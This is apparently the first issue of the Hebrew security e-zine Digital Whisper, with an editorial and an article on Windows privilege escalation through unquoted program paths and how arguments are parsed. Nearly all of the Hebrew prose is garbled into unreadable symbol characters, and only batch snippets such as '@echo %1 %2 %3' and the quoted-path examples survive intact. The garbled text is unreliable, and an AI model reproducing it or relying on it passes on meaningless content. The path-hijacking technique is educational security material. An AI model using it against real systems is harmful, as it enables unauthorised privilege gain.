
 

 

 

 

 

 

Digital Whisper 
 ˭ˣ˧˪ˠ1 ,˶˟ˣ˦˵ˣ˞ 2009 

 

 

 

 

 

˭˧ˤˠˬˢ ˸˩˶˰ˬ: 

 ˫˧ˡ˯˧˧ˬ:   ˪˞˧˦˯˵ ˵˧˲˞ ,˶ˡ˞ ˶˧ˮ 

 ˦˵˧˧ˣ˶˲ˢ ˪˧˟ˣˬ:  ˪˞˧˦˯˵ ˵˧˲˞ 

 ˨˶ˣ˰:   ˶ˡ˞ ˶˧ˮ 

 ˫˧˟˸˩ :   ˪˞˧˦˯˵ ˵˧˲˞ ,˪˪ˢ ˳˧˟ˣˬ˧˥' , ˪˴˶ˢ˧ˣ˪ ,˶ˡ˞ ˶˧ˮ 

 ˶˟ˠ ˶˟ˠ:   Ender 

 

˷˧ ˸ˣ˞˶˪ ˪˩˟ ˶ˣˬ˞ˢ  ˭˧ˤˠˬ˟Digital Whisper ˰ˡ˧ˬ ˧˪˪˩ ˡ˟˪˟ .˪˩ ˢ˪ˣ˰˲ ˸˧˷˰ˮ˷ ˪˰ ˧˲ ˰ˡ˧ˬˢ ˫˧˦˶˲ˢˣ ˫˧˶ˣˬ˞ˢ  ˭˧ˤˠˬ˟Digital Whisper 

ˢˮ˧ˢ ˪˰ ˸ˣ˧˶˥˞  ˞˶ˣ˵ˢˡ˟˪˟. ˫ˣ˷˟ ˢ˶˵ˬ  ˧˪˰˟Digital Whisper x/x˞  ˫˧ˮˣ˷ˢ ˫˧˟˸ˣ˩ˢ˫ˮ˧˞ ˫˧˞˶˥˞ ˫ˣ˷˟ ˢ˶ˣ˴ ˭˲ˣ˞ˣ ˸ˣ˞˴ˣ˸˪ ˷ˣˬ˧˷ˢ 

˰ˡ˧ˬ˟ ˞˟ˣˬˢ ˭˧ˤˠˬ˟ .˸˧˧˷˰ ˷ˣˬ˧˷ ˰ˡ˧ˬ˟ ˞˟ˣˬˢ  ˭˧ˤˠˬ˟ˢˮ˧ˢ ˪˰ ˣ˸ˣ˧˶˥˞ ˪˷  ˞˶ˣ˵ˢˡ˟˪˟. 

 

˸ˣ˧ˮ˲ ,˸ˣ˟ˣˠ˸ , ˸˶˥˞ ˢ˶˰ˢ ˪˩ˣ ˸ˣ˟˸˩ï  ˥ˣ˪˷˪ ˞ˮ ˪˞editor@digitalwhisper.co.il 

  

mailto:editor@digitalwhisper.co.il


 

˶˟ˡ ˫˧˩˶ˣ˰ˢ 

www.DigitalWhisper.co.il 

 ˭ˣ˧˪ˠ1 ,˶˟ˣ˦˵ˣ˞ 2009  2 

 

 

˶ˣ˰ˢ ˶˟ˡ˫˧˩ 
 

˫˧˩ˣ˶˟ ˫˧˞˟ˢ ˭ˣ˧˪ˠ˪ ˭ˣ˷˞˶ˢ ˪˷ Digital Whisper ï ˭˧ˤˠˬ ˧ˮˣ˶˦˵˪˞ ˧˞˷ˣˮ˟ ˢ˧ˠˣ˪ˣˮ˩˦ .˸˞ ˭ˣ˧˪ˠˢ 

˫˧˞˧˟ˬ ˫˩˪ ˶˧ˮ ˶ˡ˞ ,˯ˡˮˢˬ ˢˮ˩ˣ˸ ,˪ˢˮˬ ˦˵˧˧ˣ˶˲ UnderWarrior )www.underwar.co.il (ˣ˵˧˲˞ 

˪˞˧˦˯˵ )aka cp77fk4r( ,ˡ˥˞ ˫˧˪˰˟ˢˬ ˪˷ www.Trythis0ne.com ,Penetration Tester ˸˶˟˥˟ 

BugSec ,˷˧˞ ˸˥˦˟˞ ˰ˡ˧ˬ ˶˟ˠˣ-˶˟ˠ ˭˲ˣ˞˟ ˧˪˪˩ )˧˦˶˲ˣ.( 

˭ˣ˧˰˶ˢ ˧˶ˣ˥˞ˬ Digital Whisper ˞ˣˢ ˶ˣ˴˧˪ ˢˡˣ˵ˮ ˸˧˪˞˶˷˧ ˸˧˸ˣ˩˧˞ ˤ˩˶˸˷ ˫˧˞˷ˣˮ ˫˧˶ˣ˷˵ˢ ˫˧˟˷˥ˬ˪ 

˪˪˩˟ ˸˥˦˟˞˟ˣ ˰ˡ˧ˬ ˦˶˲˟ ,˪˩ˢˣ - ˸˧˶˟˰˟ .˭ˣ˧˪˧ˠˢ ˣˮ˧˞ ˪˧˩ˬ ˵˶ ˸ˣ˟˸˩ ˞˷ˣˮ˟ ˸˥˦˟˞ ˰ˡ˧ˬ ,˪˟˞ 

˷ˠˡˢ ˧˶˵˧˰ˢ ˣˮ˪˷ ˞ˣˢ ˪˰ ˸˥˦˟˞ ˰ˡ˧ˬ . 

 

˨˧˞ ˪˩ˢ ˪˧˥˸ˢ ?)˟˸˩ˮ ˪˰ ˧ˡ˧ ˵˧˲˞ ,˨˶˰ˮ ˸ˣ˧˶ˤ˩˞˟ ˰"˧ ˶˧ˮ( 

-˟2004 ˢ˪˰˲ ˪˞˶˷˧˟ ˢ˴ˣ˟˵ ˢ˪ˣ˰ˬ ˫˷˟ IKP ˢˬ˯˶˲˷ ˶˲˯ˬ ˸ˣˮˣ˧˪ˠ ˫˧˧ˮˣ˶˦˵˪˞ .˨˶ˡˢ ˪˷ Digital 

Whipser ˢ˪˧˥˸ˢ ˧˶˥˞ ˶˧ˮ˷ ˦˧˪˥ˢ ˞ˣˢ˷ ˢ˴ˣ˶ ˸˥˵˪ ˸˞ ˸ˣˮˣ˧˪ˠˢ ˪˷ IKP ,˸˸˪ ˢ˩˧˶˰ ˢˮ˦˵˟ ˱˶˴˪ˣ 

˫˸ˣ˞ ˦˵˧˧ˣ˶˲˪ ˣ˪˷ - UnderWarrior )>- ˸ˬˣ˯˶˲ ˢ˧˧ˣˬ˯( ,˞ˣˢ ˷˵˧˟ ˢ˶ˤ˰ ,ˣˮ˵˪˥˸ˢˣ ˢˡˣ˟˰˟ .˶˥˞˪ 

˭ˣ˧˪ˠ x˞ ˫˧˧ˮ˷ ˢ˴˶˲ ˣˮ˟ ˢ˧ˠ˪˦˯ˣˮˢ ˦˪˥ˣˢˣ ˫ˣ˵ˬ˟˷ ˵˲˶˸ˢ˪ ˪˰ ˸ˣˤˣ˥ˬ ˶˟˰ˢ - ˢˬ˪ ˞˪˷ ˶ˣ˴˧ˮ ˭ˣ˧˪ˠ 

ˣˮˬ˴˰˟ ?˶ˣ˴˧ˮ ˭ˣ˧˪ˠ ˧ˠˣ˪ˣˮ˩˦ ˧˪˞˶˷˧ ˧˸ˣ˩˧˞. 

˥˵˪ ˣˮ˪ ˦˰ˬ˩ ˷ˡˣ˥ ˟ˣ˷˥˪ ˪˰ ˫˷ )˧ˮ˞ ˶˧ˮˣ ˫˧ˮˣ˷ ˥˶ˤˬ˩ ˟˶˰ˬˣ (˨˞ ˶˥˞˪ ˫˷ˢ - ˪˩ˢ ˪˧˥˸ˢ ˫ˣ˶ˤ˪ ,

˶˟ˡˢ ˭ˣ˷˞˶ˢ ˦˪˥ˣˢ˷ ˣ˧˪˰ ˞ˣˢ ˞˪˷ ˫˧˶ˢˬˬ - ˫˧˥˵ˣ˪ ˸˞ ˭ˬˤˢ ,˫˧ˡ˟ˣ˰ ,˫˧˷ˡ˥ˬ ,˫˧˟˷ˣ˧ ,˫˧˟˸ˣ˩ ,

ˢ˩˧˶˰ ˪˷ ˶˧ˮ ,˟ˣ˷ˣ ˢ˩˧˶˰ ˪˷ ˶˧ˮ ,˫˧ˮˣ˲ ˫˧˷ˮ˞˪ ,˫˧˟˷ˣ˥ ,˫˧˟˸ˣ˩ ˡˣ˰ ,˟ˣ˷ˣ ˢ˩˧˶˰ ˪˷ ˶˧ˮ ,˪˩ˢˣ - ˧˪˟ 

˶ˢˬ˪... 

Ender ˰ˬ˷ ˪˰ ˦˵˧˧ˣ˶˲ˢ x˰˧˴ˢ ˣˮ˪ ˸˩˶˰ˬ ˪ˣˢ˧ˮ ˭˩ˣ˸ ˞ˣˢ˷ ˢˮ˟. ˶˷˧ ˣˮ˴˲˵ ˪˰ ˢ˰˴ˢˢ ,˧˩ ˭˧˞ ˡˣ˰ ˭˟ 

˫ˡ˞ ˪ˣ˩˧˷ ˸ˣˮ˟˪ ˸ˣ˩˶˰ˬ ˪ˣˢ˧ˮ ˭˩ˣ˸ ˣˬ˩ Ender .˧˶˥˞ ˶˲˯ˬ ˫˧˧ˣˮ˧˷ ˫˧˪˵/˫˧˪˵ ˸ˣ˥˲ - ˸˩˶˰ˬˢ 

ˢ˰˟˵ˮ ˢ˸ˮ˰ˣ ˪˰ ˪˩ ˸ˣ˷˧˶ˡˢ. 

˦˞˪ ˦˞˪ ˣˮ˲˯˞/ˣˮ˟˸˩ ˸ˣ˟˸˩ ,˦˞˪ˣ ˦˞˪ ˣ˦˪˥ˣˢ ˶˞˷ ˫˧˶˟ˡˢ ,ˣˬ˩ ˢˬ˩ ˸ˣ˟˸˩ ˣ˧ˢ˧ ˭ˣ˧˪ˠ˟ ,˭ˣˮˠ˧˯ 

˟ˣ˴˧˰ ,˧ˠˣ˯ ˫˧˶ˬ˞ˬ ,˭ˣˮˠ˧˯ ˫˧˶ˬ˞ˬ ,˦ˬ˶ˣ˲ˢ ˧˪˪˩ˢ ˣ˩ˣ 'ˣ˩ˣ ,'ˢ˩˞˪ˬ ˞˪ ˢ˦ˣ˷˲ ˶˟ˣˡˬ˷˩ ˧ˮ˷˟ ˫˧˩˲ˢ 

˫˧ˮˣ˷ ˪˩ˬ ˢˮ˧˥˟ ˞˧ˢ˷ .ˡ˰ ˣ˧˷˩˰ ˣˮ˥ˮ˞ ˦˰ˬ˩ ˞˪ˣ ˫˧ˬ˧˩˯ˬ ˪˰ ˫ˣ˪˩) .ˢ˶˰ˢ ˪˷ ˶˧ˮ :ˢˤˣ ˡ˥˞ 

˫˧˶˟ˡˢ ˧˩ˢ ˫˧˟˧ˮˠˬ ˪˩˟ ˦˵˧˧ˣ˶˲ˢ ˢˤˢ( 

˶˥˞˪ ˣˮˬ˩˯ˢ˷ ˪˰ ˪˩ˢ )˭˩ ˥˦˟ (ˣˮ˪˥˸ˢ ˨ˣ˶˰˪ ˸˞ ˭ˣ˧˪ˠˢ ,˶˥˞˪ˣ ˢ˰˵˷ˢ ˢ˟˶ ˢˮˢ ˞ˣˢ ˫˩˧ˮ˲˪. 
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 ˤ˞ˢ˲ˬ ˫˧˩˧˷ˬˬ ˨˧˞? 

˭ˣ˧˪ˠˢ ˭ˣ˷˞˶ˢ ˞˴ˬˮ ˫˩˧ˮ˲˪ .˭ˣ˧˪ˠˢ ˧ˮ˷ˢ ˶˟˩ ˧l ˶ˣˠ˯ ,˧˷˧˪˷ˢˣ ?˫ˠ ˞ˣˢ ˨˶ˡ˟ ,˪˟˞ ˞˪ ˪˩ˣˮ ˫˧˧˵˸ˢ˪ 

˫˩˧ˡ˰˪˟ ,˞˪ ˪˩ˣˮ ˫ˡ˵˸ˢ˪ ˶˲˸˷ˢ˪ˣ ˧˪˟ˬ ˢ˶ˤ˰ ˫˩˪˷ .ˣˮ˥ˮ˞ ˞˪ ˫˧˵˧˯˰ˬ ˫˧˟˸˩ ,˞˪ˣ ˫˧˥˧ˣˣ˶ˬ ˪˩ˬ 

˵˯˰ˢ ˪˵˷ ,ˤ˞ ˫˞ ˭˧˧ˮ˰ˬ ˫˩˸˞ ˫ˠ˷ ˳˶˞˟ ˣ˧ˢ˧ ˫˧˶ˬˣ˥ ˫˧˧˸ˣ˩˧˞ - ˣ˶ˤ˰˸ ˣˮ˪ ˸˟˧˸˩˟ ˫˧˶ˬ˞ˬˢ ,

ˣˮˠ˶˲˸ ,ˣ˞˶˸ ˣˮ˪ ˸˲˩˞˷ ˫˩˪ ˫˸˞˷ˣ ˫˧ˮ˧˟ˬ ˞˪˷ ˶˟ˣˡˬ ˢ˲ ˢ˩˞˪ˬ˟ ˢ˦ˣ˷˲ .ˣˮ˥ˮ˞ ˥ˬ˷ˮ ˪˟˵˪ 

˫˩ˬ ˸ˣ˟˸˩ ˫˸ˣ˞ ˫˯˶˲ˮ ˸ˣˮˣ˧˪ˠ˟ ˫˧˞˟ˢ. 

˶˟˩ ˭ˣ˧˪˧ˠ˟ ˭ˣ˷˞˶ˢ ˣ˞˶˸ ˵˪˥˷ ˸ˣ˟˸˩ˢˬ ˞˪ ˣ˟˸˩ˮ ˵˶ ˪˰-ˣˮ˧ˡ˧ ˞˪˞ ˰"˧ ˧˶˟˥ ˢ˪˧ˢ˵ ˢ˪˞˩ ˫˧˶˥˞ˣ 

)˭˞˩ˣ ˢˤ ˫ˠ ˫ˣ˵ˬˢ ˭˧˧˴˪ ˫˸ˣ˞- ˢˡˣ˸ ˢ˟˶ ˪-HLL  ˪˴˶ˢ˪ˣ ˧ˣ˪( ,˧ˮ˞ ˢˣˣ˵ˬ ˡˣ˞ˬ ˢˮ˰ˮ˷ ˟ˣ˧˥˟ ˶˟˩ 

˸ˣˮˣ˧˪ˠ˟ ˫˧˟ˣ˶˵ˢ ˡˣ˰˷ˣ ˧˶˟˥ ˢ˪˧ˢ˵ ˣˮ˸˧ l˧ ˣ˶ˤ˰˧ˣ ˢ˟˧˸˩˟ .˫˩˧ˡ˰˪˟ ˞˪ ˪˩ˣˮ ˫ˡ˵˸ˢ˪ ˫ˣ˷˪ ˫ˣ˵ˬ. 
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Privilege Escalation 
 ˪˞˧˦˯˵ ˵˧˲˞ ˸˞ˬ)cp77fk4r( 

 

ˢˬˡ˵ˢ 

 

˸ˣˬ˧˧˵  ˵ˣ˷˟˶˲˯ˬ ˟˶ ˪˷ ˸ˣ˩˶˰ˬ ˢ˪˰˲ˢ. ˭˟ˣ˶ ˸ˣˮˣ˷ xʕ ˣˤˬ ˭˲ˣ˞˟ ˭˷ˣˬ˧ˬ ,˨˞ ˟˶˪ ˭˸˶ˣ˴˸  ˸˧˯˧˯˟ˢ

ˢˢˤ. ˶˟ˣˡˬ ˭ˣ˧ˠˢ˟ ˦ˣ˷˲ - ˭˪ˣ˩ ˣ˲ˣ˯˟ ˪˷ ˶˟ˡ ˸ˣ˶ˣˬ˞ ˰˴˟˪ ˸˞ ˭˸ˣ˞ ˸ˣ˪˦ˬˢ. ˧˩ ˶ˣ˶˟ ˪˩˪ ˸˩˶˰ˬ 

ˢ˪˰˲ˢ ˡˣ˰˧ ˢ˶˦ˬˣ ˢˮˣ˷ ,ˡ˴ˬ ˡ˥˞ ˸ˣˬ˧˧˵ ˸ˣ˩˶˰ˬ ˶˷˞ ˣˡ˰ˣˮ ˪ˢˮ˪ ˫˧˸˶˷ ˫˧˧˵ˮ˰ ˡˣ˰˟ ˸ˣ˩˶˰ˬ˷ 

˸ˣ˶˥˞ ˣ˟˸˩ˮ ˧ˡ˩˟ ˳ˣ˶˪ ˪˰-˧˟ˠ ˧ˮˣ˰˷ Casio ,˸ˣ˩˶˰ˬ ˸ˣˬ˧˧ˣ˯ˬ ˣ˟˸˩ˮ ˧ˡ˩˟ ˳˧˶ˢ˪ ˫˧˵˥˷ˬ x˞ ˰˴˟˪ 

˸ˣ˪˦ˬ ˞˷ˣˮ˟ ˢ˵˧˦ˬ˸ˬˢ ,˟ˣ˴˧˰ˢ ˧˲˞˶ˠˢ x˞ ˢˮ˲˴ˢˢ ˸ˣ˩˶˰ˬˣ ˸ˣˬ˧˧ˣ˯ˬ ˣ˟˸˩ˮ ˧ˡ˩˟ ˪ˢˮ˪ ˸ˣ˩˶˰ˬ 

˸ˣ˧ˮˣ˶˦˵˪˞.  ˸ˣ˩˶˰ˬˢ˸ˣˮˣ˷ xʕ ˣˤˬ ˭ˢ˧˸ˣ˪ˣ˰˲˟ ˭ˢ˧ˡ˧˵˲˸˟ˣ ,˨˞ ˭˟ˣ˶˪ ˢ˟˧˪ ˢˢˤ - ˢˬ˪ ?˧˩ ˭˟ˣ˶ 

˸ˣ˩˧˶˴ ˡˡˣˬ˸ˢ˪ ˫˰ ˭˸ˣ˞ ˸ˣˬ˧˷ˬˢ ,ˣˬ˩ ˪˷ˬ˪ ˪ˣ˴˧ˮ ˭ˣ˶˩˧ˤ ,ˢ˶˩ˢ ˫˧˴˟˵˟ ,˸˞˴˵ˢ ˫˧˟˞˷ˬ ˪ˣˢ˧ˮˣ 

˸ˣ˞˷˶ˢ .˪˩ ˸˩˶˰ˬ ˢ˪ˣ˩˧ ˷ˬˬ˪ ˸˞ ˸ˣˬ˧˷ˬˢ ˢ˪˞ˢ ˭˲ˣ˞˟ ˢˮˣ˷ ,˪˩˪ˣ ˷ˣˬ˧ˬ ˸ˣˮˣ˶˸˧ ˸ˣˮˣ˶˯˥ˣ 

ˣ˪˷ˬ ,˨˞ ˢ˶ˣ˷˟ ˢˮˣ˸˥˸ˢ ˭ˣ˧˰˶ˢ ˧˶ˣ˥˞ˬ ˭˪ˣ˩ ˢˢˤ. 

 

˷ˣ˶˧˲ ˥ˮˣˬˢ "Privilege escalation "˞ˣˢ "˸ˬ˪˯ˢ ˸ˣ˧ˠ˧˪˧˟˧˶˲ "- ˢˬ˪˯ˢ ˭ˣ˷˪ˬ "˫˪ˣ˯ "˸˧˪˰ ˢˠ˶ˡ 

˫˪ˣ˯˟ .Privilege escalation ˶˟ˡˬ ˶˵˧˰˟ ˪˰ ˫˧˪˷˩ ˸˩˶˰ˬ˟ ˪ˣˢ˧ˮ ˸ˣ˞˷˶ˢˢ ˫ˢ˟ ˷ˬ˸˷ˬˢ 

˥˧˪˴ˬ ˰˴˟˪ ˸ˣ˪ˣ˰˲ ˸ˣ˞˷˶ˢ˟ ˸ˣˢˣ˟ˠˢ ˸ˣ˞˷˶ˢˢˬ ˣ˪˷. ˫˧˪˷˩ ˢ˪˞ ˫˧˪ˣ˩˧ ˸ˣ˧ˢ˪ ˫˧˪˷˩ ˶˷˞ ˫˧˰˟ˣˮ 

˭˲ˣ˞ˬ ˸˟˧˸˩ ˸˩˶˰ˬˢ x˞ ˫˧˟˧˩˶ˢ ˢ˟˷ - ˢ˟˧˸˩ ˞˪ ˸˥˦˟ˣ˞ˬ ,˷ˣˬ˧˷ ˸ˣ˧˴˵ˮˣ˲˟ ˸ˣ˰˧ˠ˲ x˞ ˸ˣ˲ˣ˷˥ 

˸ˣ˲˵˸ˢ˪ ˢ˪˞˩ ˸ˣ˶˥˞ˣ ,˨˞ ˟˶˟ ˫˧˶˵ˬˢ ˶˟ˣˡˬ ˪˰ ˫˧˪˷˩ ˫˧˧ˠˣ˪ ,ˣˬ˩ ˧˟˧˩˶ ˸˩˶˰ˬ ˫˧˴˶˷ ˫˰ 

˸ˣ˞˷˶ˢ ˸ˣˬ˧˧ˣ˯ˬ ˫˧˷˧ˠˮˣ ˫˧˷ˬ˸˷ˬ˪ ˫˰ ˸ˣ˞˷˶ˢ ˸ˣ˩ˣˬˮ ˫ˢ˪˷ˬ ,˪ˣ˴˧ˮ "Crossroad "˫˧˟˧˸ˮ˟ 

˫ˢ˪˷ ˷˧ ˸˞˷˶ˢ ˢ˟˧˸˩ ˫˧˷ˬ˸˷ˬ˪ ˫˧˪˟ˠˣˬ ˨ˣ˸˟ ˫˧˟˧˸ˮ ˪˷ ˫˧˴˟˵ ˫˧˴˶ˣˬ˷ ˰"˧ ˸˩˶˰ˬˢ - ˨˩ˣ ,

˭ˬˤ˟ ˸˩˶˰ˬˢ˷ ˢ˯ˮˬ ˸˷ˠ˪ ˫˧˴˟˵˪ ˢ˧˪˞˷ ˞˧ˢ ˢ˶ˣˬ˞ ˰˧ˠˢ˪ - ˞˧ˢ ˫˴˰˟ ˢ˴˧˶ˬ ˸˞ ˫˧˴˟˵ˢ 

˱˵ˣ˸ˢ˷ ˪˧˸˷ˢ ˫˰ ˸ˣ˞˷˶ˢ ˸˩˶˰ˬ. 

 

 

˨˪ˢˬ˟ ˦˯˵˦ˢ ˢˤˢ ˧ˮ˞ ˶˧˟˯˞ ˪˰ ˶˲˯ˬ ˫˧˩˶ˡ ˰˴˟˪ ˸˞ ˢ˲˵˸ˬˢ ˸˞ˤˢ ˪˰ ˧˟ˠ ˸˩˶˰ˬ Windows ,

˨˞ ˭ˣˣ˧˩ˬ ˶˟ˣˡˬ˷ ˶˵˧˰˟ ˪ˣ˴˧ˮ˟ ˪˷ ˫˧˪˷˩ ˫˧˧ˠˣ˪ - ˫˧˪˷˩ ˢ˪˞ ˫˧˪ˣ˩˧ ˢ˪˧˶˴ˣˣ ˪˩˟ ˸˩˶˰ˬ ˪ˣˢ˧ˮ 

˸ˣ˞˷˶ˢ ˞˪ˣ ˢˮ˷ˬ ˣˤ˧˞˟ ˸˩˶˰ˬ ˢ˪˰˲ˢ ˶˟ˣˡˬ . 
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ˢˬ˪˯ˢ ˸˶ˤ˰˟ ˸˲˵˸ˬ Crossroad 

 

˸˞ sˠˣ˯ ˭ˣ˷˞˶ˢ ˪˷ ˢ˲˵˸ˬˢ ˡˬ˪ˮ˷ ˫ˣ˧ˢ ˮˢˮ˩ ˫˷˟ "Crossroad." 

˧ˮ˲˪ ˢ˞˶ˮ˷ ˨˧˞ ˫˧˰˴˟ˬ ˸˞ ˢ˲˵˸ˬˢ ˣˮ˥ˮ˞ ˫˧˩˧˶˴ ˭˧˟ˢ˪ ˨˧˞ ˸˩˶˰ˬ ˪ˣˢ˧ˮ ˫˧˴˟˵ˢ ˪˷ s-Windows 

˸˶˸˞ˬ ˸˞ ˫˧˴˟˵ˢ ˟˷˧˷˵ ˸˷ˬˢ˷ˬ ˳˧˶ˢ˪ .˨˶ˣ˴˪ ˨˩ ˶ˣ˴˧ˮ ˳˟ˣ˵ ˣˣ˴˞ s˭˦˵ ˪˧˩ˬ˷ ˸˞ ˭˩ˣ˸ˢ ˞˟ˢ: 

@echo %1 %2 %3 

 

ˢˡ˧˵˲˸ ˪˷ ˢˡˣ˵˲ˢ Echo ˞ˣˢ ˠ˧˴ˢ˪ ˪˰ ˨˯ˬˢ ˸˞ ˮˬˣˠ˶˞ˢ˦˫˧ ˫˧˯ˮ˩ˣˬ˷ ˢ˧˪˞ ,)˪ˡˣ˶˦˷ˢ ˦ˣ˷˲ 

˰˴˟ˬ echo off ˢˡˣ˵˲˪ ˸˧˲˧˴˲˯ˢ ˢ˞˟˷ ˣ˧˶˥˞(. ˶˞˷ ˢ˶ˣ˷ˢ - %1 %2 %3 ˢˤ ˦˪˵ˢ ˯ˮ˩ˣˢ˷ 

ˢˮ˩ˣ˸˪. ˸˞ˤ ˸˶ˬˣ˞ ˫˞˷ ˶ˣˬ˷ˮ ˸˞ ˢˮ˩ˣ˸ˢ ˣˮ˪˷ ˫ˣ˵˧ˬ˟: 

c: \ Program files \ Myapp dir \ Myapp.bat  

 

ˤ˞ˣ ˯ˮ˩ˮ ˪ˣ˯ˮˣ˵˪ ˟ˣ˸˩ˮˣ ˸˞ ˢˡˣ˵˲ˢ ˢ˞˟ˢ: 

c: \ Program files \ Myapp dir \ Myapp.bat arg1 arg2 arg3  

 

ˤ˞ ˣˮ˥ˮ˞ ˪˟˵ˮ ˦˪˲˩ ˪˰ ˨˯ˬˢ ˸˞ ˦˪˲ˢ ˞˟ˢ : 

arg1 arg2 arg3  

 

ˢ˪ˣ˰˲ˢ ˢˮ˧˞ ˸ˬ˩˥ˣ˸ˬ ˧ˡˬ ,˪˟˞ ˞˧ˢ ˷˧˥ˬˬ s˸˞ ˢˬ ˧ˮ˞˷ ˢ˴ˣ˶ ˶˧˟˯ˢ˪. 

 

 

˸˩˶˰ˬ ˫˧˴˟˵ˢ 

 

˸˰˩ ˮ˭˧˟ ˨˧˞ ˸˩˶˰ˬˢ ˸˶˸˞ˬ ˸˞ ˢ˧˴˵˧˪˲˞ˢ ˣˮ˪˷ ˨˧˞ˣ ˞˧ˢ ˢ˶˧˟˰ˬ ˢ˪ ˸˞ ˫˧˦ˮˬˣˠ˶˞ˢ. ˢ˶˵ˬ˟ 

˪˲˞ˢ˷˧ˢ˧˴˵ ˣˮ˪˷ ˸ˬ˵ˣˬˬ ˟˧˸ˮ˟ c:\Myapp.bat ˣˮ˥ˮ˞ˣ ˫˧˴˧˶ˬ ˢ˸ˣ˞ ˢ˶ˣ˴˟ ˢ˞˟ˢ : 

c: \ Myapp.bat arg1 arg2 arg3  

 

˸˩˶˰ˬˢ ˸˶˸˞ˬ ˸˞ ˫˷ ˢ˧˴˵˧˪˲˞ˢ ˣˮ˪˷ ˸˞ˣ ˫ˣ˵˧ˬˢ ˢ˪˷ ˰"˧ ˥ˣˣ˶ˢ ˭ˣ˷˞˶ˢ ,˸˞ˤ ˸˶ˬˣ˞ - ˸˪˧˥˸ˬ 

˸ˤˣ˶˥ˬˢ, ˡ˰ ˥ˣˣ˶ˢ ˭ˣ˷˞˶ˢ - ˢˤ ˫˷ ˢ˧˴˵˧˪˲˞ˢ ,˫˞ ˞˧ˢ ˵˸ˬ˧˧ ˞˧ˢ ˢ˯˧ˮ˩ˬ ˢ˪ ˸˞ ˶˞˷ ˦˪˵ˢ 

˫˧˦ˮˬˣˠ˶˞˩.  
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ˣˢˬ ˢ˶ˣ˵ ˫˞ ˢ˧˴˵˧˪˲˞ˢ ˞˪ ˸ˬ˧˧˵ ?ˣˮ˥ˮ˞ ˪˟˵ˮ ˸˞ ˢ˞˧ˠ˷ˢ ˸˶˩ˣˬˢ: 

'Myapp.bat' is not recognized as an internal or external command, operable program or 
batch file. 

 

ˢ˲ ˸ˣ˰˦ˢ ˣˮ˪˷: ˣ˲ˣ˯˟ ˪˷ ˶˟ˡ- ˭˩ ,˦˪˲ˢ ˢˤˢ ˰˧˲ˣ˧ ˪˰ ˨˯ˬˢ ,˪˟˞ ˧ˮ˲˪ ˸˩˶˰ˬˢ˷ ˢ˦˧˪˥ˢ ˦ˣ˪˲˪ 

˸˞ ˢ˞˧ˠ˷ˢ ˸˞ˤˢ ,˞˧ˢ ˢ˰˴˧˟ ˡˣ˰ ˶˲˯ˬ ˸ˣ˵˧ˡ˟. 

ˣ˞ˣ˟ ˢ˞˶ˮ ˨˧˞ ˸˩˶˰ˬˢ ˸ˬ˞˟ ˸˶˸˞ˬ ˸˞ ˫˧˴˟˵ˢ ˣˮ˥ˮ˞˷ ˫˧˶˥ˣ˟ ˳˧˶ˢ˪ .ˣˮ˞ ˫˧˪˧˥˸ˬ ˣ˸ˣ˞ ˶˟ˡ ,

˫ˣ˵˧ˬˢ ˪˷ ˳˟ˣ˵ˢ ˣˮ˪˷ ˞ˣˢ: 

c: \ Myapp.bat  

 

ˣˮ˥ˮ˞ˣ ˫˧˴˧˶ˬ ˸˞ ˢ˶ˣ˷ˢ ˢ˞˟ˢ: 

c: \ Myapp.bat arg1 arg2 arg3  

 

ˢ˶˵ˬ˟ ˳˟ˣ˵ˢ˷ ˫˧˧˵ - ˸˩˶˰ˬˢ ˳˧˶˸ ˣ˸ˣ˞ ˭˲ˣ˞˟ ˞˟ˢ: 

"c: \ Myapp.bat" "arg1" "arg2" "arg3"  

 

ˢ˶˵ˬ˟ ˳˟ˣ˵ˢ˷ ˞˪ ˫˧˧˵ )˥˧ˮˮ - ˣˮ˵˥ˬ ˣ˸ˣ˞( ,˸˩˶˰ˬˢ ˞˪ ˫˧˶˸ ˫˧˧ˡ˧ ,˞˧ˢ ˢ˯ˮ˸ ˵ˣˡ˟˪ ,˧˪ˣ˞ ˫˴˰˟ ,

˫˷˟ ˳˟ˣ˵ˢ ˷˧ ˥ˣˣ˶ ,ˣˬ˩ ˥˧ˮˮ ˳˟ˣ˵ˢ : 

Internet Explorer.exe  

 

ˤ˞ ˞˧ˢ ˢ˯ˮˬ ˳˧˶ˢ˪ ˸˞ ˢ˶ˣ˷ˢ ˣˮ˪˷ ˨˶ˡ˟ ˢ˞˟ˢ : 

"c: \ Myapp.bat arg1" "arg2" "arg3"  

 

˫˞ ˫˧˧˵ ˢˤ˩ ˳˟ˣ˵ ,˞˧ˢ ˳˧˶˸ ˣ˸ˣ˞ ˥˧ˮ˸ˣ ˞ˣˢ˷ ˪˟˵ˬ ˸˞ ˧ˮ˷ ˫˧˦ˮˬˣˠ˶˞ˢ: 

arg2 arg3  

 

˫˞ ˞ˣˢ ˞˪ ˫˧˧˵ ,˞˧ˢ ˥˵˸ ˡˣ˰ ˭ˣ˧˯ˮ ,ˢ˯ˮ˸ˣ ˳˧˶ˢ˪ ˸˞ ˢ˶ˣ˷ˢ ˣˮ˪˷ ˨˶ˡ˟ ˢ˞˟ˢ: 

"c: \ Myapp.bat arg1 arg2" "arg3"  
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˫˞ ˭˩˞ ˫˧˧˵ ˢˤ˩ ˳˟ˣ˵ - ˞˧ˢ ˥˧ˮ˸ ˞ˣˢ˷ ˶ˣˬ˞ ˪˟˵˪ ˵˶ ˦ˮˬˣˠ˶˞ ˡ˥˞ : 

arg3  

 

˟ˣ˷ˣ- ˫˞ ˭ˣ˧˯ˮˢ ˢˤˢ ˞˪ ˨˪ˢ ,˞˧ˢ ˵ˣˡ˟˸ ˧˪ˣ˞ ˫˴˰˟ ˪˩ ˸ˤˣ˶˥ˬˢ ˸˞ˤˢ ˞˧ˢ ˪˲˞˧ˢ˧˴˵ ˸˥˞ ,ˢ˯ˮ˸ˣ 

˳˧˶ˢ˪ ˢ˸ˣ˞ ˢ˩˩ : 

"c: \ Myapp.bat arg1 arg2 arg3"  

 

˥˧ˮ˸ˣ ˪˲˞ˢ˷˧ˢ˧˴˵ ˞˪ ˢ˶ˣˬ˞ ˪˟˵˪  ˫ˣ˷˦ˮˬˣˠ˶˞. 

ˣ˲ˣ˯˟ ˪˷ ˶˟ˡ ,˫˞ ˫ˠ ˭ˣ˧˯ˮˢ ˭ˣ˶˥˞ˢ ˞˪ ˨˪ˢ, ˸˩˶˰ˬˢ ˫˧˴˟˵ ˫˧˶˸ ˫˧˧ˡ˧ x˞˧ˢ ˦ˣ˪˲˸ ˸˞ ˢ˞˧ˠ˷ˢ 

ˣˮ˪˷. 

 

